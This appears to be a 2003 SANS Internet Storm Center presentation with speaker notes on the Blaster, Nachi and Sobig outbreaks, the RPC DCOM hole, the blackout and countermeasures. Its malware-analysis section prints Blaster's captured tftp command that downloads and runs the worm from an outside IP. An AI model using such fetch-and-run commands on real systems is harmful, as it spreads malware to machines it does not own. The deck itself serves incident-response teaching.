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Outline
� Introduction: Internet Storm Center
� Blaster, Nachia
� Power Outage
� Sobig
� Global Incidents Response
� Conclusion

This talk will walk everyone through the sequence of cyber-security events in August.

While the blackout in the northeastern US is not necessarily a “cyber-event” , it had 
significant impact.
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Introduction

CONJECTURECONJECTURE
Malware development is accelerating due to efficient and 
open collaboration

ConclusionConclusion

OUT-SHARE or DIE

The malware development cycle has shrunk from months to days due to close 
collaboration. Security professionals can not fight this threat individually in isolation but 
need to collaborate.

The Internet Storm Center provides a forum to exchange hard data under fire.

Later in this talk we will discuss “Global Incidents Response”. It will illustrate the 
current and future role of the ISC in more detail.



Data is sent via e-mail and imported  into a sql database. This database is queried for 
numerous standardized and customized reports.
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ISC – Outside View

The ISC home page attempts to provide a quick status display of current activity and 
relevant analysis.
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Introduction
� DShield    Internet Storm Center

DShield, as a large network of distributed sensors

(distributed IDS) needs an analyst console to feed

data back to the community

Large submitters may want to run their own “Dshield” 
and feed data back to the ISC.

Distributed ®  Collaborative

DShield is the collection engine for the Internet Storm Center (ISC). The ISC attempts 
to provide a global intrusion detection console to facility collaborative analysis.

As an open system, data is accepted from everyone. Anonymous data is accepted. Data 
is not filtered or corrected, but presented 'as is'.

The quality of the data is improved by correlation alone.
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Timeline
August 2003

Monday Tuesday Wednesday Thursday Friday Saturday Sunday

1 2 Cirebot 3

4 5 6 7 9 10

12 15 16 17

19 20 21 23

25 26 27 28 30 31

8 reports of 
widespread 
RPC bots

13 Blaster B, 
Blaster C

24 Sobig 2nd 
Update

29 Blaster-B 
Arrest

11 BLASTER

BLASTER

14 BLACKOUT
18 Nachi, 

Sobig-F

22 Sobig 

update

The calendar shown above illustrates the sequence of events in August. 

While the RPC DCOM vulnerability was released mid-July, exploits came into 
widespread use very early in August. The start of the “Malware season” was marked by 
the release of Blaster. 
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What is RPC – DCOM?
� “Remote Procedure Call – Distributed Component Object 

Model”

� Enables software components to seamlessly communicate 
over a TCP/ IP network.

� Allows to execute code remotely.

� Used in many applications, most notable MSFT Exchange. 

� Uses several ports: UDP 135, 137, 138, 445, TCP 135, 139, 
445, 593.

� Can be 'tunneled' over HTTP using port 80 and 443 on 
Windows XP and 2003.

RPC is a concept known to Unix and Windows. While the windows version uses a 
different implementation, it is based on the same principle to allow data exchange 
among and execution of remote programs

DCOM is an extension of this process to spread processes over multiple networked Pcs.

The most popular application using this feature is Microsoft Outlook. It uses RPC-
DCOM to access Microsoft Exchange mail servers. 
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What is wrong with RPC DCOM? 
� RPC is fine. The problem is in 'DCOM'

� RPC just receives data and passes it on to 'DCOM'.

� One parameter is a file name used by DCOM to initialize its 
object.

� A small buffer is allocated to store the filename (544 bytes).

� The length of the filename is not checked.

� Large filename       Stack overflow. Arbitrary code can be 
executed.

Like many security problems, the RPC DCOM problem has its root in insufficient 
checks for user input. The unchecked filename can be used to overwrite memory and 
inject code into the RPC process.
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Discovery /  Fix
� Discovered by “Last Stage of Delirium 

Research Group” (LSD).
� Announced on July 16th by Microsoft and 

LSD. (MSFT Bulletin MS03-026)
� The bulletin included a patch and list of 

possible workarounds.
� No proof of concept code released by LSD.

This issue was discovered by an independent security research firm. It notified 
Microsoft and did not notify the public until Microsoft released a patch and an advisory. 

The advisory was not very specific and did not include proof-of-concept exploit code. 
However, the scope of the issue was evident from the large installed base.
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Exploits
� Xfocus: crashes RPC if vulnerable

released July 23rd (1 week after release)

� Metasploit (HD Moore) exploit July 25th: 
– Adds remote shell on port 4444.

– Requires 'offset'. Initially 6 different offsets 
included.

Shortly after the advisory, others  published easy to use proof-of-concept exploit codes. 
In particular the exploit published by Moore was popular as it allowed easy access to a 
remote shell. (dcom.c: July 25th )

One issue was the need for an operating system specific “off set”  parameter. If the 
wrong offset was used, the rpc service would crash and no future attempt would be 
possible.

Over a few days, many offsets for different versions of Windows where published. Most 
importantly, two “universal”  offsets would cover Windows 2000 and Windows XP 
respectively.
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dcom.c
� Main “drawback”: Requires specific offset. 

Versions with up to 48 different offsets 
published.

� Breakthrough: Universal offset for Windows 
2000 and XP. Two different offsets will 
permit access to bulk of vulnerable 
population.

dcom.c was originally published at  www.metasploit.com and posted to various security 
mailing lists.
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SD Bot variants
� SD bot is a toolkit to build networks of IRC 

controlled systems. Available with various exploits.
� dcom.c was added to the arsenal and used 

extensively.

� “Cirebot” (August 2nd): uses tftp to download 'bot', 
but prefers to spread via open file shares.

� Often mistaken for worm (filename: worm.exe)

“bots”  are modular programs that allow for the automatic installation of backdoors on 
large number of machines. Shortly after “dcom.c”  was released, it was integrated into 
such bots, most notably “SD Bot” . It allows remote control to large number of systems 
using IRC.
Other popular points for bots to enter are open file shares and previously installed 
trojans or viruses (Sub7, Kuang2).
“bots”  usually include tools to use infected machines in DDOS attacks.
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SDBot

�  Targets particular networks (e.g. Universities)
�  20+ % success rates !

The success of these SD Bot variants did visualize the scope of the RPC DCOM 
problem. Targeted institutions reported infection rates of > 20%.
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Timeline Review
� July 16th: Release (Day 1)
� July 23rd ,25th: “POC” Exploit (Day 8)
� August 2nd: “Cirebot” (Day 18)
� August 5th: widespread use of various bots 

(Day 21)
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Port 135 Data July 1st – Aug 10th
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Data collected by the ISC illustrates the steps in development of  the RPC DCOM 
exploit. In particular the number of sources using it illustrates the increased number of 
users of the exploit as it becomes more accessible.
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Aug 10th – MSBlaster
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On August 10th , we detected an exponential increase in number of sources scanning for 
port 135. This is typical for a worm. At its peak, we detected over 3,500 new sources 
every 10 minutes.

The worm started to spread at about 17:00 UCT ( 13:00 EDT) and reached its peak 
infection rate about 2-3 hours later.
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Code Capture
� Simple code capture using Tiny Honey Pot 

(thpot, George Bakos)

t f t p - i  68. 164. 96. 50 GET msbl ast . exe
st ar t  msbl ast . exe
msbl ast . exe

The Blaster code (msblast.exe) was easily captured. The exploit spawned a remote shell 
on port 4444 and sent the command to upload the worm code to port 4444.

A simple listener was able to capture this code. W used tiny honeypot, a perl script 
listening on all port. You can download  “ tiny honeypot”  at 
http://alpinista.dyndns.org/thp

Simple non interactive honeypots like this are extremely useful to capture and analyze 
worm code.
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MS Blaster
� Uses RPC DCOM Vulnerability (release July 

16th)
� Based on dcom.c, uses same backdoor on 

port 4444. (release July 27th)
� Simple extension, downloading worm via 

build in tftp daemon
� DDOS payload ('windowsupdate.com')

Blaster is a minor variation on dcom.c. It didn't even bother to change the port for the 
remote shell.

Other names for this worm:

Blaster, MSBlaster, Lovsan, Poza
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Analysis – 1
� UPX 'packed'
� 'strings'

– msblast.exe

– I  just want to say LOVE YOU SAN!!

– billy gates why do you make this possible ? Stop making 
money and fix your software!!

– windowsupdate.com

– SOFTWARE\Microsoft\Windows\CurrentVersion\Run

– Start %s   tftp -i %s GET %s

UPX is commonly used to make reverse engineering harder. The uncompressed code 
has to be retrieved from memory after initial execution of the binary. In this case 
however, the binary was easily uncompressed by standard UPX software.

The Unix “strings”  command is very useful to quickly retrieve readable strings from a 
binary file. The strings in msblast.exe gave some hints on the function of the worm. For 
example, the auto-start registry key was shown, the target of the DDOS and the tftp 
command sequence.
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Analysis – 2
� VMWare

– Scan for port 135 sequentially

– Using variation of dcom.c exploit

– Downloading binary via tftp
– Installing itself as 'autostart'
– DDOS against 'windowsupdate.com'

A second step in our malware analysis used Vmware to run a behavioral analysis of the 
code. We just used various tools to monitor registry settings, file system accesses and 
network traffic.

At this point, it was evident that this code spread via the RPC DCOM exploit.

The DDOS against windowsupdate.com was verified by changing the system time.
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Fingerprint (Blaster)

One of the unique features of the Internet Storm Center is its wide reach into many 
corners of the Internet.

A single “class A”  (/8) would only detect one horizontal “slice”  of the fingerprint shown 
above. In particular for worms that prefer to scan the local /16, like blaster, a diverse 
sensor network is critical.
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SQLSnake – Fingerprint

Just to compare to Blaster: This fingerprint collected from SQLSnake data shows a 
much more focused targeting pattern. SQLSnake uses a hardcoded, weighted list of /8 
networks.



© SANS Institute

25Johannes Ullrich, SANS Institute

Blaster Variants
� Insignificant variations.
� Altered strings, filename.
� Changed DDOS target.
� Not widely distributed.

None of the blaster variants had significant traction. Most of them got released within a 
week of the original outbreak.
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Blaster Counter Measures
� Patching

Patching is the only real counter measure.
� Firewall (port 135) – CAREFULL !

Closing port 135 will provide limited protection.

Avoid blocking port 4444. Minimal additional protection 
and possible side effects.

Easily bypassed by roaming systems.
� Watch for Infected Systems.

IDS/Firewall/ tcpdump

There is no way around patching for Blaster. Any networked computer can be infected. 
In particular inside corporate networks, Blaster spreads fast as it prefers to scan the local 
/16.

Port 135 has to be blocked to stay ahead of the worm, in particular if you rely on users 
downloading the patch. 

Blocking port 4444 provides only minimal additional protection. Port 4444 is only 
opened if the initial exploit via port 135 was successful. Port 4444 is closed once the 
connection to send the exploit has been terminated.

“Roaming Systems” are systems that are used at home without firewall, infected and 
later connected to an internal network.

An IDS is an ideal tool to watch for infected systems. Many infected systems can be 
spotted by monitoring firewall logs.
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Blaster Summary: August 2003
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So far no significant reduction in number of sources (=infected systems)
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Blaster – Summary
� More than 200,000 infected systems (likely 

500,000).
� Spread within a couple of hours.
� No notable geographic /  network preference.
� DDOS against windowsupdate.com was 

averted by turning the domain off.

Blaster was not exceptional due to the number of targets infected or the speed with 
which is spread. However, the short time from 'Day 0' was substantially shorter then any 
other worm.
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Timeline
August 2003

Monday Tuesday Wednesday Thursday Friday Saturday Sunday

1 2 Cirebot 3

4 5 6 7 9 10

12 15 16 17

19 20 21 23

25 26 27 28 30 31

8 reports of 
widespread 
RPC bots

13 Blaster B, 
Blaster C

24 Sobig 2nd 
Update

29 Blaster-B 
Arrest

11 BLASTER

BLASTER

14 BLACKOUT
18 Nachi, 

Sobig-F

22 Sobig 

update
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Power Outage
� Started Aug 14th 16:00 EDT
� Effected several north eastern states:

(Ontario, New York, Ohio, Michigan...)

� Lasted up to 24+  hrs, more then 1 hr in most 
 areas (UPS: 5-30 minutes).

� No obvious relation to MSBlaster
� Limited, but significant impact on Network 

Infrastructure.
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Power Outage – Routing

Graph provided by 
Renesys Corporation
(http://www.renesys.com )

1000 routes in
5 minutes.

Low point with
2000 routes removed

return to normal after
> 24hrs

Renesys, a company monitoring routing data with several peers, recorded a significant 
decrease in the routing table size for all of its peers.

Within 5 minutes, 1000 routes where removed from the tables.
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Power Outage – Routing (2)

The routes removed are parts of networks located within the outage area.
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SCADA Attack?

Unlikely. Most SCADA devices run on isolated 
networks using proprietary protocols.

However possible:
– sysadmin busy fixing blaster infected machines 

had no time to look after a bad HD in a monitor 
station)

– Infected machines slowed down network.
– Ports blocked by ISPs prevented communication.

SCADA: Supervisory Control and Data Acquisition

These systems are typically programmed in low level proprietary languages. They are 
unlikely to be effected by any MSFT related vulnerability and usually default to 'safe' 
states.

However, these devices are typically interfaced to standard workstations running 
Windows software in order to visualize the status of the system. 
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Timeline
August 2003

Monday Tuesday Wednesday Thursday Friday Saturday Sunday

1 2 Cirebot 3

4 5 6 7 9 10

12 15 16 17

19 20 21 23

25 26 27 28 30 31

8 reports of 
widespread 
RPC bots

13 Blaster B, 
Blaster C

24 Sobig 2nd 
Update

29 Blaster-B 
Arrest

11 BLASTER

BLASTER

14 BLACKOUT
18 Nachi, 

Sobig-F

22 Sobig 

update
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Nachia/Welchia ICMP Traffic
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The Nachia/Welchia worm made itself known by a huge increase in ICMP messages.

Unlike Blaster, Nachia would first attempt to ping the target before sending the exploit.
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Nachia Port 80 (Aug. 18th)
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In addition to the RPC DCOM exploit, Nacha would try to use a WebDAV exploit.
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Nachia
� A “Good Worm” gone bad?

– Flooding local networks with ICMP

– Patching systems

– Removing MS Blaster
– Using RPC DCOM and WebDAV exploit
– Installing back door

Other names: Nachi, Welchia, MSBlaster-D, Lovsan-D
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Nachia
� Predatory worm
� Protecting infected system against take over 

like auto rooters and bots
� More complex code

Frequently, malware fixes the vulnerability it uses to enter a system to protect the 
system after it is taken over. Nachia behaves much in the same way.
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Comparison

Name Date OS Service Infected Machines Time

Lion March 2001 Linux BIND 10,000? Days

Code Red July 2001 Windows IIS 200-400k Days

Nimda Oct 2001 Windows IIS 100-200k Hours

SQL Slammer January 2003 Windows IIS 100-200k Minutes

MSBlaster August 2003 Windows IIS 300k? Hours

- Speed: hours to spread, weeks from 
vulnerability to worm
- Scale: hundreds of thousands of systems.
- Code Quality: weak (“ first to market”)
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Code Red – July 19 2001
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Nimda
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January 24th.



© SANS Institute

43Johannes Ullrich, SANS Institute

Sobig-F
� 6th version in “Sobig” series
� Launched via UseNet
� Prays on users to click attachments
� “Blended Threat”: Uses file shares as well as 

e-mail to spread.
� Sophisticated auto-update and other features 

(Backdoors).
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Sobig History

Release Deactivation
A
B
C
D
E
F

Jan-09th From: big@boss.com
May-18th May-31st From: support@microsoft.com
May-31st June-8th From: bill@microsoft.com + Spoofed
June-18th July-2nd From: admin@support.com + Spoofed
June-25th July-14th From: support@yahoo.com + Spoofed
Aug-18th Sep-10th From: admin@internet.com + Spoofed

�  Features added in each version
�  'From' spoofing improved 
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Sobig History (2)

(A) – Proxy Server

(B) – expires

(C) – ntp

(D) – master servers

(E) – zipped attachment

(http://www.lurhq.com/sobig-e.html)
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Sobig Counter Measures
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Sobig Countermeasures – 2
� Attachment stripping

Problematic as viruses may use legitimate 
extensions (e.g. .zip)

� Signed e-mail

Probably the best way to identify the sender, but 
hard to implement

� Virus Filters

Virus spread too fast. Some will likely slip through

! DO NOT NOTI FY THE SENDER !
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Sobig Update
� Sobig used sophisticated time 

synchronization to send all infected systems 
to the same set of update servers. (Friday 
3pm EDT, 7 pm GMT)

� Update server where identified and shut 
down (all but one)

� Some reports of updated “master server” list.
� Overall: update had no significant impact.
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Two Weeks In September
� Microsoft Office vulnerabilities (MS03-03x)

Sept. 3rd 

� Microsoft RPCSS (MS03-039)
Sept. 10th 

� OpenSSH vulnerability ( exploit? )
Sept. 15th 

� Sendmail
Sept. 16th (announced Sept. 23rd)

MSIE, sadmin, pine ....

Another good suggestion: closing tftp (port 69 udp). In particular if you can not block 
port 135
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Malware Development Cycle

0-Day Exploit Carefully used against high value targets.

RELEASERELEASERELEASERELEASERELEASERELEASERELEASERELEASERELEASERELEASE

Proof of Concept Usually release shortly after public vulnerability
announcement.

“Kiddie”  exploit
Easy to use version of POC exploit with added
functions (e.g. backdoor, file upload)

Bot/Autorooter
Allows automatic use of exploit against large
numbers of targets.

Worm
Autonomous code infecting almost every
vulnerable host in reach.
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Future Worms

Are w e doomed to broken w orms?
– Yes: 

� “First to Market” wins.
� Covert development does not allow for sufficient 

testing.

– No:
� Toolkits are getting more sophisticated
� It just takes the right person.
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Global Incident Response
� Watch for new vulnerabilities.

� Monitor and test POC exploits. 

– Build IDS signatures.

– Verify counter measures.

� Watch for rapid growth in sources exhibiting suspect 
traffic.

� Capture Code.

� Distributed Code Analysis.

� Disseminate Counter Measures, Analysis results.
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Participate

http://isc.sans.org

http://www.dshield.org/howto.php

info@dshield.org

isc@sans.org


